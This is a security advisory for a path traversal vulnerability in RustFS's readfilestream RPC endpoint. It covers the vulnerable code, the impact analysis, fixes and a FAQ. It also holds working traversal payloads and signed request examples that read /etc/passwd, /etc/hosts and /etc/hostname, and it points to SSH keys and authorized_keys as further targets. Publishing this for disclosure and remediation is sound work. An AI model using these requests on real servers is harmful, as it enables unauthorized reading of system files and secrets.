CVE-2025-68705: RustFS Path Traversal Vulnerability
RustFS Path Traversal Vulnerability
Vulnerability Details
- CVE ID: - Severity: Critical (CVSS estimated 9.9) - Impact: Arbitrary File Read/Write - Component: /rustfs/rpc/readfilestream endpoint - Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791
Vulnerable Code
rust // local.rs:1791 - No path sanitization! let filepath = volumedir.join(Path::new(&path)); // DANGEROUS! checkpathlength(filepath.tostringlossy().tostring().asstr())?; // Only checks length let mut f = self.openfile(filepath, ORDONLY, volumedir).await?;
The code uses PathBuf::join() without: - Canonicalization - Path boundary validation - Protection against ../ sequences - Protection against absolute paths
Proof of Concept
Test Environment
- Target: RustFS v0.0.5 (Docker container) - Endpoint: http://localhost:9000/rustfs/rpc/readfilestream - RPC Secret: rustfsadmin (from RUSTFSSECRETKEY) - Disk ID: /data/rustfs0 - Volume: .rustfs.sys
Attack Scenario
Exploit Parameters
disk: /data/rustfs0 volume: .rustfs.sys path: ../../../../etc/passwd # Path traversal payload offset: 0 length: 751 # Must match file size
Required Authentication
RPC requests require HMAC-SHA256 signature:
python Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}") Headers: x-rustfs-signature: Base64(HMAC-SHA256(secret, data)) x-rustfs-timestamp: Unix timestamp
Successful Exploits
1. Read /etc/passwd ✅
Request: GET /rustfs/rpc/readfilestream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751 x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg= x-rustfs-timestamp: 1766482485
Response: HTTP 200 OK
Content Retrieved: root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin [... 15 more lines ...] rustfs:x:10001:10001::/home/rustfs:/sbin/nologin
Impact: Full user account enumeration
---
2. Read /etc/hosts ✅
Request: GET /rustfs/rpc/readfilestream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172
Response: HTTP 200 OK
Content Retrieved: 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback [...] 172.20.0.3 d25e05a19bd2
Impact: Network configuration disclosure
---
3. Read /etc/hostname ✅
Request: GET /rustfs/rpc/readfilestream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13
Response: HTTP 200 OK
Content Retrieved: d25e05a19bd2
Impact: System information disclosure
---
Technical Analysis
Data Flow
1. HTTP Request ↓ 2. RPC Signature Verification (verifyrpcsignature) ↓ 3. Find Disk (findlocaldisk) ↓ 4. Read File Stream (disk.readfilestream) ↓ 5. VULNERABLE: volumedir.join(Path::new(&path)) ↓ 6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd → /etc/passwd
Path Traversal Mechanism
rust // Example traversal: volumedir = PathBuf::from("/data/rustfs0/.rustfs.sys") path = "../../../../etc/passwd"
// PathBuf::join() resolves to: filepath = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd" = "/etc/passwd" // Successfully escaped!
Why It Works
1. No Canonicalization: Code doesn't use canonicalize() before validation 2. No Boundary Check: No verification that final path is within volumedir 3. PathBuf::join() Behavior: Automatically resolves ../ sequences 4. Length-Only Validation: checkpathlength() only checks string length
Special Considerations
- File Size Constraint: The length parameter must exactly match file size - Code validates: file.len() >= offset + length - Otherwise returns DiskError::FileCorrupt - Volume Requirement: Volume/bucket must exist (e.g., .rustfs.sys) - Disk Requirement: Disk must be registered in GLOBALLOCALDISKMAP
Impact Assessment
Confidentiality Impact: HIGH
- ✅ Read arbitrary files (demonstrated) - ✅ Read system configuration files (/etc/passwd, /etc/hosts) - ⚠️ Potential to read: - SSH keys (/root/.ssh/idrsa) - Application secrets - RustFS configuration files - Environment variables from /proc
Integrity Impact: HIGH
- ⚠️ Similar vulnerability exists in putfilestream (not tested) - ⚠️ Arbitrary file write likely possible - ⚠️ Could write to: - Cron jobs - authorizedkeys - System binaries (if permissions allow)
Availability Impact: MEDIUM
- ⚠️ walkdir endpoint could enumerate entire filesystem - ⚠️ Potential DoS via recursive directory traversal
Exploitation Requirements
Prerequisites
1. Network Access: Ability to reach RustFS RPC endpoints 2. RPC Secret Knowledge: Knowledge of RUSTFSSECRETKEY - Default: "rustfs-default-secret" - Production: From environment variable or config 3. Disk/Volume Knowledge: Valid disk ID and volume name 4. File Size Knowledge: Exact file sizes for successful reads
Attack Complexity
- Without Secret: Impossible (signature verification) - With Secret: Trivial (automated script) - With Default Secret: Critical risk if not changed
Mitigation Recommendations
Immediate Actions (Priority 0)
1. Path Canonicalization rust async fn readfilestream(&self, volume: &str, path: &str, ...) -> Result<FileReader> { let volumedir = self.getbucketpath(volume)?;
// CRITICAL FIX: let filepath = volumedir.join(Path::new(&path)); let canonical = filepath.canonicalize() .maperr(|| DiskError::FileNotFound)?;
// Validate path is within volumedir if !canonical.startswith(&volumedir) { error!("Path traversal attempt detected: {:?}", path); return Err(DiskError::InvalidArgument); }
// Continue with validated path... }
2. Path Component Validation rust // Reject dangerous path components if path.contains("..") || path.startswith('/') { return Err(DiskError::InvalidArgument); }
3. Use path-clean Crate rust use pathclean::PathClean;
let cleanedpath = PathBuf::from(&path).clean(); if cleanedpath.tostringlossy().contains("..") { return Err(DiskError::InvalidArgument); }
Additional Security Measures
4. Audit Logging: Log all RPC file operations with full paths 5. Rate Limiting: Prevent DoS via repeated RPC calls 6. Secret Rotation: Ensure unique RPC secrets per deployment 7. Network Segmentation: Restrict RPC endpoint access 8. Security Testing: Add path traversal tests to test suite
Long-term Improvements
9. Chroot Jail: Isolate RPC operations in chroot environment 10. Least Privilege: Run RustFS with minimal file system permissions 11. Security Audit: Comprehensive review of all file operations
Proof of Concept Script
The complete PoC is available at: exploitpathtraversal.py
Usage
bash Ensure RustFS is running docker compose ps
Run exploit python3 exploitpathtraversal.py
Output
[+] SUCCESS! Read 751 bytes [+] File content: ================================================================================ root:x:0:0:root:/root:/bin/sh [... full /etc/passwd content ...] ================================================================================
Acknowledgements
RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.
Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.
Other sources
RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/readfilestream endpoint. This issue has been patched in version 1.0.0-alpha.79.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2025-68705?
CVE-2025-68705 has a critical severity rating with a CVSS score estimated at 9.9.
How do I fix CVE-2025-68705?
To fix CVE-2025-68705, update to version 1.0.0-alpha.79 or later of the rustfs package.
What is the impact of CVE-2025-68705?
The impact of CVE-2025-68705 is arbitrary file read and write access due to insufficient path validation.
Which component is affected by CVE-2025-68705?
The affected component in CVE-2025-68705 is the /rustfs/rpc/read_file_stream endpoint.
What is the root cause of CVE-2025-68705?
The root cause of CVE-2025-68705 is insufficient path validation in the rustfs implementation.